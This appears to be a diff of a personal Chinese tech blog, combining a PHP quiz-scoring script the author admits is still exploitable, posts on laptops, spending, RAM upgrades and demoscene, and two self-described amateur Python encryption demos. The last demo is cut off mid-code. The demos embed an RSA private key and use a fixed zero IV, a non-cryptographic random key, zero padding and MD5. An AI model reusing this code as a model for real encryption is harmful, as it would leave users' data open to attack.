Session_start();
$filename = "problem.json";
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// query problem data
$json_string = file_get_contents($filename);
$questionSet = json_decode($json_string, true);
$questiones = array();
for ($i = 0; $i < 20; $i++) {
$index = mt_rand(0, sizeof($questionSet) - 1);
array_push($questiones, array(
'title' => $questionSet[$index]['title'],
'code' => $questionSet[$index]['code'],
'options' => $questionSet[$index]['options'],
'img' => $questionSet[$index]['img']
));
array_splice($questionSet, $index, 1);
}
$_SESSION['questiones'] = $questiones;
echo json_encode($questiones);
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// check result
$answers = json_decode(file_get_contents("php://input"), true);
$score = calcscore($answers);
$pass = $score >= 70;
$invitecode = '';
if ($pass) {
$invitecode = invite();
}
echo json_encode(array(
'score' => $score,
'pass' => $pass,
'invitecode' => $invitecode
));
if (isset($_SESSION['questiones'])) {
unset($_SESSION['questiones']);
}
die();
}
function calcscore($answers) {
$score = 0;
$filename = "problem.json";
$json_string = file_get_contents($filename);
$questionSet = json_decode($json_string, true);
for ($i = 0; $i < sizeof($answers); $i++) {
if ($answers[$i]['answer']) {
for ($j = 0; $j < sizeof($questionSet); $j++) {
if ($answers[$i]['code'] == $questionSet[$j]['code'] &&
$answers[$i]['answer'] == $questionSet[$j]['answer']) {
$score += 5;
}
}
}
}
$matchCount = 0;
if ($_SESSION && $_SESSION['questiones']) {
for ($i = 0; $i < sizeof($answers); $i++) {
for ($j = 0; $j < sizeof($_SESSION['questiones']); $j++) {
if ($answers[$i]['code'] == $_SESSION['questiones'][$j]['code']) {
$matchCount++;
}
}
}
} else {
return 0;
}
if ($matchCount == sizeof($answers)) {
return $score;
} else {
return 0;
}
}
function invite() {
//generate invite code
}
```
# 结尾
其实答题系统想让用户钻不了空还是相当简单的事情,不过我个人还是希望那些答题系统能不要写的太精密,这样谁都不会胜利,互相为难也不好嘛……
# 后记
我的愚蠢超乎我想象这个代码的漏洞应该说完全没有解决看似复杂的代码就如同破铜烂铁一般轻易就能击碎QAQ。
我完全没有测试就胡乱改,改完之后除了让代码看起来更加复杂外没有解决任何问题。今天一位名叫[Sora Jin](https://github.com/MoeLoli)的大佬像曾经的我一样测试了这个垃圾答题系统,重新发现了这个漏洞……
不过这次的修复不怎么美观,代码我就不放上来了,不是很难的问题,有兴趣的读者可以自己研究一下。

@ -0,0 +1,23 @@
---
layout: post
title: 记一次买笔电的经历
tags: [笔记本电脑, 经历]
---
买个电脑真是太难了QAQ……<!--more-->
# 起因
在去年我曾说过以后如果有出了7nm制程、Zen2架构的AMD移动端CPU的电脑我就买一台。结果今年年初AMD公司就出了。不过当时我听说当时出的时候好像是联想的电脑装的名字好像叫Yoga Slim 7可惜我等了好久也没见它开卖。正好这时我偶然看到了华硕天选也出了符合我要求的电脑而且还有蓝色的外壳 ~~再加上看起来很像Kiana的天选姬23333~~ 这看起来都很吸引我,于是我就决定买这款电脑了。
# 糟糕的购买经历
当时我在这款电脑预售的第二天就知道了它的存在,思考了几天我决定买下它。当时这个电脑似乎只有在京东上可以买,但是由于某些原因我在淘宝上也看了看,结果淘宝上也有,能加内存条还不用抢,价格一样而且还比京东上多了一堆赠品。我想了想,新电脑有那么高级的配置应该多加一条内存,但是我手残,自己[装内存条还把笔记本装坏了](/2019/08/17/memory.html)……再加上一堆加成,我就被这个淘宝店吸引了。
正是因为如此,所以我没有在第一次发售去抢,结果第一次发售结束后店家还没有发货,我试着抢第二次发售的货,结果由于第一批货口碑不错,第二批根本抢不到,再往后就开始涨价了……然而淘宝店的店家仍然没有发货……据他们说,厂家不给他们货了。
当然,这个店家拖这么久我是可以让他们给我赔钱的,但是我不希望赔钱,我想要电脑啊……直到前几天华硕又一次发售,这次他们在这个产品上加了一个低端版的电脑,没办法,店家好像有低端版本的,所以我就让他们给我换了一下。
换了低端版之后给我退了1K的差价从原来6799的有着RTX2060显卡和16GiB内存的电脑妥协成了现在5799的只有GTX1650ti的垃圾显卡和8GiB的内存配置一下降了一半但是价格才退1000……而且还等了这么久QAQ……真的是太难了。
# 使用体验
今天电脑到手了还好是真的电脑没给我寄一块砖头😂打开看了一下也没什么太大的问题于是我就开始把电脑原来家庭版的系统换成了专业版我之所以换的主要原因是为了用BitLocker、Windows沙箱和Hyper-V。
整个调试好之后我发现这个电脑还是有不少问题的,比如在电脑没有打游戏的时候屏幕会闪,大概是核心显卡或者是驱动的问题?另外这个电脑在有一些运算的时候声音是真的大,真的和开直升机一样。不过平时上个网,打个字倒还是挺安静的,感觉风扇一点也没转,我现在写博客就用的是这台电脑。
# 对这台电脑的期望
不过既然这个电脑还不到6000我觉得还是不追究这些问题了至少这还是华硕的电脑如果真的出了问题也有售后。现在我就希望未来5年内它能好好的为我工作不要比过了20年都还能正常开机的电脑差就好了。

@ -0,0 +1,28 @@
---
layout: post
title: 合理消费
tags: [演讲稿, 消费]
---
利己,就是合理。<!--more-->
# 起因
由于我们语文老师想让我们做一次演讲,然后正好我也受到家人说我总在吃的东西花钱多的启发,所以我打算趁此机会再水一篇文章。
当然我至少是有演讲经验的而且这次演讲才5分钟和[上次40分钟的演讲](/%E6%BC%94%E8%AE%B2%E7%A8%BF/2018/06/20/Coding.html)完全不能比,另外这次也不需要对着人讲,只需要对着电脑讲就行了,所以相比来说应该会轻松一些。
# 我认为的合理消费
什么是合理消费那么首先就要给合理下一个定义。对于一般人来说自己认为正确的对于自己来说就是合理的不过这种合理在实际生活中可能会让自己陷入困境。对于我来说我认为的合理肯定就是我认为正确的虽然我也说过如果只是想当然会出问题但是一般来说我肯定是不希望自己陷入困境的如果真的出现了这样的事情我肯定会改正所以我认为的就是合理的。说这么多只为一点那就是我说的就是正确的不接受杠精的反驳23333
那么接下来就让我谈一谈我的消费观念吧!
1. 合理消费以省钱为主
虽然先前投资很重要,但是我总感觉自己很非,像抽卡总是抽不到好的,[买电脑也买不到称心如意的](/2020/04/21/laptop.html)QAQ……生活真是太艰难了……不过即使如此我们也要坚持下去。所以既然我我们知道投机取巧是不现实的那么就少在投机的事情上花钱吧当然也不是不能投机觉得保本的可能性大的话就去玩一玩吧。
2. 不为虚拟的东西花一分钱
像我在虚拟的东西上基本上可以说是一分钱都没有花,像往游戏里充钱啥的根本不可能,软件也是。虽然我以后说不定也靠创作虚拟产品来搜刮用户的钱,但是对我来说我就是不愿意为此花钱。
另外在现实中对于周边我同样是一分钱也不愿意花虽然我也喜欢ACGN次文化比较喜欢但是我就是不愿意为此花钱因为为它们花钱就是买了虚拟的图案加上质量一般的产品很不值得。当然如果有人给我送的话我是很开心的我只是不愿意买罢了。~~(别说了,都是穷😂)~~
3. 自己花同样钱或精力做不到的事情就让别人来做
我们为什么要花钱我仔细想了想其实就是为了完成我们做不到的事情比如有些人是电脑小白不会装系统就需要花20CNY来请别人来装。有人说他们被坑了但是我不这么认为他们花50CNY也不一定能做来的事情花20CNY做不是很赚吗像我为什么愿意为吃的花钱就是因为我花100CNY也做不出来我想吃的东西但是我想吃的东西10CNY就能买来这时候就不要节约自己的钱了大胆的为自己的目标花钱吧
其他更多的观点5分钟内也讲不完了那么以上就是我对合理消费的一些拙见Thanks for watching!
# 后记
虽然这是个演讲,不过我说的也都是认真的哦,在现实中我就是按这样的标准来做的。
当然如果有人觉得有不合理的问题也可以说,但是如果有人用像“正大光明使用盗版”这种道德绑架的方式来喷我的话,那我建议最好按下`Ctrl+w`,就当没看过这篇文章。~~(根本没人来看啊😂)~~

@ -0,0 +1,25 @@
---
layout: post
title: Re:加装内存
tags: [内存]
---
论头铁是什么感受<!--more-->
# 头铁的开端
在去年的8月份我给我的旧笔记本加装了一次内存条结果……[很悲惨](/2019/08/17/memory.html),把电脑的充电功能搞坏了。
几个月后的今天,我不记过去的痛苦,头铁的为我的[新笔记本电脑](/2019/08/17/memory.html)加装了一次内存条……
本来我是打算用几年以后直接加32GiB的内存但是最近装了个虚拟机发现8GiB的内存不怎么够用Windows自己就占用了一半的内存结果我用Ubuntu虚拟机开动态内存需求是5GiB的内存。虽然心里很难受但是想了想还是加吧花钱让人难受但是花钱也是为了让人不难受啊……
不过现在问题不在花钱,在于自己手残,但是又不想请人来装。虽然[上一篇文章](/2020/05/07/consume.html)我还在说自己花同样钱或精力做不到的事情就让别人来做,不过那就是个垃圾文章,我肯定是头坏了才会写出那种垃圾文章。现在我已经知道了,合不合理不在于省钱,而是脑子正不正常。
不过我想了想之前的笔记本之所以装坏了是因为它是商务本内存条在C面要装得把主板拆下来所以才搞出了问题。新电脑是游戏本不用拆掉主板也能加内存也许成功率会高一些吧……
# 坎坷的装内存之旅
我上周就已经打算装已经在网上下单买内存了但是发生了很糟糕的事情店家给我发错了货我买的是3200MHz频率的内存条结果他们发成了2666MHz的……当然这个东西我直接看内存条其实是不会看的不装到电脑上我也不知道。
内存拿到手之后,我打算速战速决,后盖打开、电池拔掉、内存插上、电池插上,然后就直接装后盖了,真不知道该说是头铁还是智障,测试都没测试,觉得速战速决就能让电脑不坏吗?现实是残酷的,螺丝都拧好了然后按开机键没反应……没办法,我只能把后盖再拆开,然后重新试。
既然电脑已经拆了一回了就感觉什么东西破碎了第二次装的时候我就不再装后盖就直接开机电脑重启了三回第一回屏幕没反应第二回只有Logo第三回可算是开始引导系统结果BitLocker的界面出来了貌似是因为电池拔掉后BIOS重置安全启动自动关闭然后TPM就不认了。
这……算了反正前几周我还升过BIOS固件也遇到过相同的情况。不过这也太不安全了吧BIOS居然没有自带的电池我的BIOS密码也因此消失不见了那这个东西密码还有什么用后盖那么好拆电池一拔密码就没了……
我把安全启动的证书恢复了出厂设置系统总算是正常启动了看着16GiB的内存心里还是挺高兴的。这时候再看一眼频率2666MHz我怀疑是不是我装的有问题这时候我打开命令提示符输入`wmic memorychip`,一看两个内存的频率确实不一样,我感觉被坑了……这也许就是运气问题,合理不合理消费都是小事,运气不好咋也省不了钱。
还好店家倒也不是那种不讲理的人给我换了一条3200MHz的今天重新装上这也算是告一段落了。
# 心得
加内存条倒也没啥心得就是注意一下拔电池内存斜着插进去就行了。唯一让我难受的就是我买东西真的是艰难本来想在更好的电脑上加内存结果好电脑没买上买了个垃圾一点的还是忍不住加内存结果一买还发错货了不仅如此换回来之后再一查其他家同款的降了10CNY……
生活真是艰难啊……糟糕的事情一出接着一出……

@ -0,0 +1,160 @@
---
layout: post
title: 写一个加密传输的Demo
tags: [加密, Demo]
---
非专业密码学,仅供娱乐!<!--more-->
# 起因
最近我们学校搞了一个工程项目,要求是研究关于信息安全等级保护的一些东西,一开始我以为这就是搞个权限啥的,后来发现和云计算一样是个定义,话说我明明是网络工程专业的为啥还要了解信息安全……
当然这个什么等级保护的内容很多,我们不可能全都涉及,所以老师允许我们只选其中的一部分进行研究。我想了想,我之前还想搞什么[加密邮件](/2019/07/02/encmail.html)啥的,所以我选了通信安全方面的板块,这样也可以对那个项目有些参考。
# 实现思路
我本来是想按着TLS的标准来写后来看了看发现那样不太方便我写Demo也就是玩玩而已不用费那么大劲。
像正常来说,建立加密通道是要有握手环节的,但是那个实现起来实在是太麻烦,所以想了想就算了。
所以我的实现方式是生成一个随机数用AES以随机数为密码加密数据用RSA加密随机数。这样做的主要目的是利用RSA的特性保证传输内容不会被泄露但是RSA相对来说太慢所以用了AES来加密数据这样就能提高传输的效率。
传送方式我之前还想着要不要建一个TCP Socket或者是Unix Domain Socket来传输但是后来觉得这样太麻烦不如直接用文件的方式传这样还简单好理解。 ~~(就是嫌麻烦嘛)~~
另外在通信安全中还有一点是要求校验数据我想了想就用MD5吧正常来说得到MD5后还要数字签名啥的我觉得麻烦也就没搞所以最终传输的内容就是AES加密后的数据、原数据的MD5(Hash)以及用RSA加密的密钥。
虽然我学Python的时间不长不过我现在发现Python在做这些事情的时候远比Shell、PHP和JS简单所以这次的Demo也是用Python实现的。
不过我的Python并不怎么样所以大多数代码都是从网上Copy的像Crypto的库我不搜一下肯定是不会用嘛。
既然用到了Crypto库那么如果有人有兴趣执行下面的代码自然需要执行一下`pip3 install pycryptodome`才可以正常运行啦。
# 代码
## server.py
```python
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
import base64
import hashlib
import json
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDfEQ82qUrto7h4BL3TsA/DFXSdM44cbeY4kPccD7gLGhaZRClz
YKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0QLnMfmtkmGWGhOXz/9IDLKJOx
0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+io1KpVz+3kRTaGs1fQIDAQAB
AoGAWB4kFWLA/6k6OOcemd4mC9mQ7HyuOdrMJDJX+5TWDkSrArajbTmSMrRkczgj
F71h3BQn8cVQXs695ARfUNrjTbi2Y0LjN7ScK7ExzTLdoMEFw5JsHggJZ0zBQY6w
mwOdGfqzA6tZPXgkn+jqEha+CD6GrwnTM1oDGJC/aKG2OmECQQDkO9IhUhFc/PSU
0zvGE6AOcqk5wlOuvMg+oAFHJHJZ9XW7+X/Nx0ZoVDFq/cZQj+46t+fiwUwhdW7l
IfCvNGKFAkEA+jRQmWGKrbf1ns4S0SezJvysd5O6otRGJXr+Ex2uDhc39ZTeUsyg
kjrLhp8STLMOmql+8g5fghct17EuCX1EmQJBAJz9BNnEkIrst/OSpH/nyeWGOx6u
q077LaXd+2MLD9kO/O/Se3V5B9YFa4STkJCjoBMloswXd51gIGpdgSeSmd0CQQCL
PrwwcGmWfo+ynqs4PajlpK9zKQMwhYS4bTejedwZOXDKOtx0Ji+i0hfcxwCPMQOK
rZPZsIgUxUOdC508aLvZAkBDkHxunCzDm0w4DdTUN7S9YSpVvQEjK/xUQiWaKV12
8QgskhU2DNdYK2NxifnWrKtx3uQmqMxX5aLuJZ4493yr
-----END RSA PRIVATE KEY-----"""
# 公钥解密
def rsa_decode(cipher_text, private_key):
rsakey = RSA.importKey(private_key) # 导入读取到的私钥
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
# 将密文解密成明文返回的是一个bytes类型数据需要自己转换成str
text = cipher.decrypt(base64.b64decode(cipher_text), "ERROR")
return text.decode()
class PrpCrypt(object):
def __init__(self, key):
self.key = key.encode('utf-8')
self.mode = AES.MODE_CBC
# 解密后去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
plain_text = cryptor.decrypt(base64.b64decode(text))
# return plain_text.rstrip('\0')
return bytes.decode(plain_text).rstrip('\0')
while not input("按回车读取客户端的信息,输入其他内容结束"):
cipher = open("pipe.txt", mode='r')
msg = json.loads(cipher.read())
cipher.close()
key = rsa_decode(msg["key"], private_key)
aesc = PrpCrypt(key)
message = aesc.decrypt(msg["message"])
hash = hashlib.md5(message.encode(encoding='UTF-8')).hexdigest()
if hash == msg["hash"]:
print("数据校验成功")
else:
print("数据校验失败")
print(message)
```
## client.py
```python
# -*- coding: utf-8 -*-
import random
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
import base64
import hashlib
import json
public_key = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfEQ82qUrto7h4BL3TsA/DFXSd
M44cbeY4kPccD7gLGhaZRClzYKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0Q
LnMfmtkmGWGhOXz/9IDLKJOx0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+
io1KpVz+3kRTaGs1fQIDAQAB
-----END PUBLIC KEY-----
"""
# 公钥加密
def rsa_encode(message, public_key):
rsakey = RSA.importKey(public_key) # 导入读取到的公钥
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
# 通过生成的对象加密message明文注意在python3中加密的数据必须是bytes类型的数据不能是str类型的数据
cipher_text = base64.b64encode(cipher.encrypt(message.encode(encoding="utf-8")))
# 公钥每次加密的结果不一样跟对数据的padding填充有关
return cipher_text.decode()
class PrpCrypt(object):
def __init__(self, key):
self.key = key.encode('utf-8')
self.mode = AES.MODE_CBC
# 加密函数如果text不足16位就用空格补足为16位
# 如果大于16当时不是16的倍数那就补足为16的倍数。
def encrypt(self, text):
text = text.encode('utf-8')
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
# 这里密钥key 长度必须为16AES-128,
# 24AES-192,或者32 AES-256Bytes 长度
# 目前AES-128 足够目前使用
length = 16
count = len(text)
if count < length:
add = (length - count)
# \0 backspace
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
elif count > length:
add = (length - (count % length))
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
self.ciphertext = cryptor.encrypt(text)
# 因为AES加密时候得到的字符串不一定是ascii字符集的输出到终端或者保存时候可能存在问题
# 所以这里统一把加密后的字符串转化为16进制字符串
return base64.b64encode(self.ciphertext)
message=" "
while message:
message = input("请输入需要传输的信息(不输入则结束):")
hash = hashlib.md5(message.encode(encoding='UTF-8')).hexdigest()
key = str(random.randint(1000000000000000,9999999999999999))
cipher = rsa_encode(key, public_key)
aesc = PrpCrypt(key)
data=json.dumps({"message":aesc.encrypt(message).decode('utf8'),"hash":hash,"key":cipher})
print(data,file = open('pipe.txt','w'))
print("数据已发出!")
```
# 感想
我在写这个代码的时候在网上搜到的资料也真的是算少了就像我当时打算写加密邮件那时一样基本上大多数的资料都有问题像有些代码还是Python2的还有时候经常遇到什么bytearray、json转换之类乱七八糟的问题。
希望中文网络环境能多一些大家遇到的冷门知识的解决方法啊……
对了,这个代码实际上只有防止中间人窥探信息的能力,并没有防篡改的能力,毕竟没有两端握手,没法做验证,所以这就是一个业余的加密传输代码,仅供参考。

@ -0,0 +1,31 @@
---
layout: post
title: 关于Demoscene的探索
tags: [Demoscene]
---
大佬们的领域我们无法步入……<!--more-->
# 前言
最近闲来无事又在回顾自己的历史真是呜呼哀哉……14年左右的我是那么的有探索和研究精神怎么过了几年之后就成Five了呢……
在我过去留下的文件里,我找到了一些比较有意思的东西,比如当时网上传的很火的一个叫做[.the .product](http://www.theproduct.de/)的一个64KiB的动画传说它用了外星压缩算法把1个多GiB的东西压缩成了64KiB真是令人感到不可思议还有一个叫做[kkrieger](https://files.scene.org/view/parties/2004/breakpoint04/96kgame/kkrieger-beta.zip)的3D游戏同样也仅仅用了92KiB。
这两个作品都来自一个叫做Farbrausch的组织可能是这个组织的宣传做的比较好其他的Demoscene虽然做的也很不错但是并不怎么知名唯有这个组织的Demoscene在网上广为流传……不过也许是因为Breakpoint的Party知名度比较高
除此之外在Windows XP时代喜欢玩批处理的人也一定知道一个叫做[OMNISCENT](https://files.scene.org/view/parties/1997/mekka97/in4k/snc_omni.zip)的动画把一串乱七八糟的东西放到debug程序里得出的一个只有4KiB的小程序就能播放出一个看起来好像在一个飞船里的一个3D动画。
以上所说的这些我当时不知道是什么东西。到了现在我才知道这些是一种叫做Demoscene的东西。
# 什么是Demoscene
Demoscene根据百科所说是一种计算机艺术亚文化中文名叫做演景。玩这个的人就喜欢用计算机来渲染出一些看起来很有感觉的带音频的视频。因为这些画面都是直接渲染出来的所以占用的空间也非常的小。
这个道理就和位图和矢量图、波形音乐和MIDI音乐一样程序总比数据占用的空间小所以Demoscene通常来说都是用很小的程序来表现很复杂的场面。不过做过像svg的人应该也知道同一个图像做矢量图的难度要比制作位图的难度要大这也就是为什么Demoscene是只有大佬才会玩的东西。
虽然说这个东西说是计算机文化但是在我看来这个东西就是会写程序的数学家搞的玩意这就和NOI一样荒谬一堆数学题非得要叫个信息学比赛……
# Demoscene的实现方式
过去的Demoscene通常都是使用汇编写出来的虽然说汇编写出来的程序应该很小但是它因为过于复杂以至于有些硬件资源它无法很好的利用。
因为Demoscene主要表现的是音乐和视频那么这些事让显卡做的效率自然要比用CPU做的效率高很多。比如说我上面所说的OMNISCENT这个程序完全使用的是CPU的计算资源虽然使用了4KiB看起来很小但是事实上还是浪费了不少的空间。最近我在逛[scene.org](https://scene.org/)的时候见到了一个更加厉害的Demoscene名字叫做[elevated](https://files.scene.org/view/parties/2009/breakpoint09/in4k/rgba_tbc_elevated.zip)。它用了4KiB表现了一座山的春夏秋冬不仅画面更加精致而且时长也更长。
我看了一下,他们还放出了[源代码](https://files.scene.org/view/resources/code/sources/rgba_tbc_elevated_source.zip)看起来是使用C++和汇编写出来的使用了微软的DirectX9来调用显卡。再看其他代码好多东西就只用了一句话来表示比如太阳就只需要一句`"+pow(saturate(mul(e,q[3])),16)*float3(.4,.3,.1)"`,云也只有一句`"+.1*f(s+q[3].w*.2,10)"`。这样看来难怪整个程序那么小,一个公式就表示了一个模型,这群伪装成程序员的数学家也真是有够强。
除此之外也有一些用数学界常有的复杂3D模型生成公式的比如什么Romanesco Broccoli还有分形之类乱七八糟的东西像这些就超出我的理解范围了 ~~(连线代都搞不懂还搞这个?)~~
# 后记
既然Demoscene对数学的要求如此之高对我来说自然是无缘步入了。但是欣赏他们的作品还是挺不错的。
除了上述的一些Demo(Intro)外我还找到了一些比较有意思的比如今年一个叫做Revision的Party里就有一个叫做[SyncCord](https://files.scene.org/view/parties/2020/revision20/pc-4k-intro/synccord_nusanvalden.zip)的作品同样是4KiB效果也是非常的不错。
当然也不一定非要局限于4KiB还是64KiB更大的有更多的表现空间就比如07年的一个叫做[debris](https://files.scene.org/view/parties/2007/breakpoint07/demo/fr-041_debris.zip)的作品堪称大片大小也仅仅只有177KiB另外这也是Farbrausch的作品。
更多的作品大家可以自己去[scene.org](https://scene.org/)找这里面有历年各位神仙做的各种各样的Demoscene。
另外除了这些程序之外也还有一些大佬拿JS写的只有1KiB的网页大家可以在[js1k.com](https://js1k.com/)里找到当然这些和那些写真正程序的人完全不能比只是觉得1KiB的JS能做出那些东西也感觉很有意思。

@ -0,0 +1,260 @@
---
layout: post
title: 加密传输Demo V2
tags: [加密, Demo]
---
太业余总感觉不太好啊<!--more-->
# 前言
在上个月我写了一个[加密传输的Demo](/2020/05/29/encrypt.html),相当的业余,这个东西只能做到从客户端向服务端的单向传输,而且因为只有一次请求,所以中间人攻击也非常的容易。
虽然我觉得那个应该足够我完成作业了,但是我想了想,太业余总显得我很菜 ~~(难道不是吗?)~~ ,所以我打算还是努力一下把完整的握手也做出来吧。
# 实现思路
和上次差不多同样我打算通过RSA加密一个随机数作为AES的密钥但是和上次不同这次的这个密钥将在通信建立之后密钥就不再变化传入传出都是这个密钥。
之前觉得握手阶段可能很麻烦,不过我画了一下图稍微理了理思路发现其实也没多复杂,也就是客户端生成密钥然后加密传输过来让服务端保存,完成之后之间的传输只要传被加密的数据就行了。这样我觉得应该也能起到一定的防止中间人攻击的作用吧……
不过我只用了一个文件作为传输的管道,为了避免冲突,我在每次写入数据的时候也都标明了数据的来源,这样就不会因为自己刚发完然后自己又重新接收自己发的东西了。
另外老师希望我的Demo有个简单的应用所以我又另外加了一个极其简单的登录系统在里面这样我就不用手动操作服务端了。
# 代码
## server.py
```python
# -*- coding: utf-8 -*-
print("加密通道服务端演示开始")
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
import base64
import hashlib
import json
import time
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDfEQ82qUrto7h4BL3TsA/DFXSdM44cbeY4kPccD7gLGhaZRClz
YKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0QLnMfmtkmGWGhOXz/9IDLKJOx
0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+io1KpVz+3kRTaGs1fQIDAQAB
AoGAWB4kFWLA/6k6OOcemd4mC9mQ7HyuOdrMJDJX+5TWDkSrArajbTmSMrRkczgj
F71h3BQn8cVQXs695ARfUNrjTbi2Y0LjN7ScK7ExzTLdoMEFw5JsHggJZ0zBQY6w
mwOdGfqzA6tZPXgkn+jqEha+CD6GrwnTM1oDGJC/aKG2OmECQQDkO9IhUhFc/PSU
0zvGE6AOcqk5wlOuvMg+oAFHJHJZ9XW7+X/Nx0ZoVDFq/cZQj+46t+fiwUwhdW7l
IfCvNGKFAkEA+jRQmWGKrbf1ns4S0SezJvysd5O6otRGJXr+Ex2uDhc39ZTeUsyg
kjrLhp8STLMOmql+8g5fghct17EuCX1EmQJBAJz9BNnEkIrst/OSpH/nyeWGOx6u
q077LaXd+2MLD9kO/O/Se3V5B9YFa4STkJCjoBMloswXd51gIGpdgSeSmd0CQQCL
PrwwcGmWfo+ynqs4PajlpK9zKQMwhYS4bTejedwZOXDKOtx0Ji+i0hfcxwCPMQOK
rZPZsIgUxUOdC508aLvZAkBDkHxunCzDm0w4DdTUN7S9YSpVvQEjK/xUQiWaKV12
8QgskhU2DNdYK2NxifnWrKtx3uQmqMxX5aLuJZ4493yr
-----END RSA PRIVATE KEY-----"""
# 公钥解密
def rsa_decode(cipher_text, private_key):
rsakey = RSA.importKey(private_key) # 导入读取到的私钥
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
# 将密文解密成明文返回的是一个bytes类型数据需要自己转换成str
text = cipher.decrypt(base64.b64decode(cipher_text), "ERROR")
return text.decode()
class PrpCrypt(object):
def __init__(self, key):
self.key = key.encode('utf-8')
self.mode = AES.MODE_CBC
def encrypt(self, text):
text = text.encode('utf-8')
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
# 这里密钥key 长度必须为16AES-128,
# 24AES-192,或者32 AES-256Bytes 长度
# 目前AES-128 足够目前使用
length = 16
count = len(text)
if count < length:
add = (length - count)
# \0 backspace
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
elif count > length:
add = (length - (count % length))
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
self.ciphertext = cryptor.encrypt(text)
# 因为AES加密时候得到的字符串不一定是ascii字符集的输出到终端或者保存时候可能存在问题
# 所以这里统一把加密后的字符串转化为16进制字符串
return base64.b64encode(self.ciphertext)
# 解密后去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
plain_text = cryptor.decrypt(base64.b64decode(text))
# return plain_text.rstrip('\0')
return bytes.decode(plain_text).rstrip('\0')
#初始化pipe
file = open('pipe.txt','w')
print("",file = file)
file.close()
#协商密钥
while True:
pipe = open("pipe.txt", mode='r')
data = pipe.read()
if not data == "\n":
data = json.loads(data)
pipe.close()
break
pipe.close()
time.sleep(1)
file = open('pipe.txt','w')
print("",file = file)
file.close()
key = rsa_decode(data["key"], private_key)
akey = PrpCrypt(key)
print("成功获取密钥",key)
print("已建立连接")
userInfo={"Name":"Mayx","Passwd":'25d55ad283aa400af464c76d713c07ad',"Book":"《会说话就多说点》,《在哪里能买到您的著作》"}
#处理阶段
#Waiting for Quest
while True:
pipe = open("pipe.txt", mode='r')
data = pipe.read()
if not data == "\n":
data = json.loads(data)
if data["from"] == "Client":
pipe.close()
break
pipe.close()
time.sleep(1)
print("已收到请求")
data = json.loads(akey.decrypt(data["data"]))
if data["name"] == userInfo["Name"] and data["pwd"] == userInfo["Passwd"]:
file = open('pipe.txt','w')
print(json.dumps({"from":"Server","data":akey.encrypt("登录成功,您的书单如下:"+userInfo["Book"]).decode("utf-8")}),file = file)
file.close()
else:
file = open('pipe.txt','w')
print(json.dumps({"from":"Server","data":akey.encrypt("登录失败").decode("utf-8")}),file = file)
file.close()
print("请求已回应")
print("加密通道服务端演示结束")
```
## client.py
```python
# -*- coding: utf-8 -*-
print("加密通道客户端演示开始")
import random
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
import base64
import hashlib
import json
import time
public_key = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfEQ82qUrto7h4BL3TsA/DFXSd
M44cbeY4kPccD7gLGhaZRClzYKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0Q
LnMfmtkmGWGhOXz/9IDLKJOx0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+
io1KpVz+3kRTaGs1fQIDAQAB
-----END PUBLIC KEY-----
"""
# 公钥加密
def rsa_encode(message, public_key):
rsakey = RSA.importKey(public_key) # 导入读取到的公钥
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
# 通过生成的对象加密message明文注意在python3中加密的数据必须是bytes类型的数据不能是str类型的数据
cipher_text = base64.b64encode(cipher.encrypt(message.encode(encoding="utf-8")))
# 公钥每次加密的结果不一样跟对数据的padding填充有关
return cipher_text.decode()
class PrpCrypt(object):
def __init__(self, key):
self.key = key.encode('utf-8')
self.mode = AES.MODE_CBC
# 加密函数如果text不足16位就用空格补足为16位
# 如果大于16当时不是16的倍数那就补足为16的倍数。
def encrypt(self, text):
text = text.encode('utf-8')
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
# 这里密钥key 长度必须为16AES-128,
# 24AES-192,或者32 AES-256Bytes 长度
# 目前AES-128 足够目前使用
length = 16
count = len(text)
if count < length:
add = (length - count)
# \0 backspace
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
elif count > length:
add = (length - (count % length))
# text = text + ('\0' * add)
text = text + ('\0' * add).encode('utf-8')
self.ciphertext = cryptor.encrypt(text)
# 因为AES加密时候得到的字符串不一定是ascii字符集的输出到终端或者保存时候可能存在问题
# 所以这里统一把加密后的字符串转化为16进制字符串
return base64.b64encode(self.ciphertext)
# 解密后去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
plain_text = cryptor.decrypt(base64.b64decode(text))
# return plain_text.rstrip('\0')
return bytes.decode(plain_text).rstrip('\0')
#初始化阶段
while True:
try:
pipe = open("pipe.txt", mode='r')
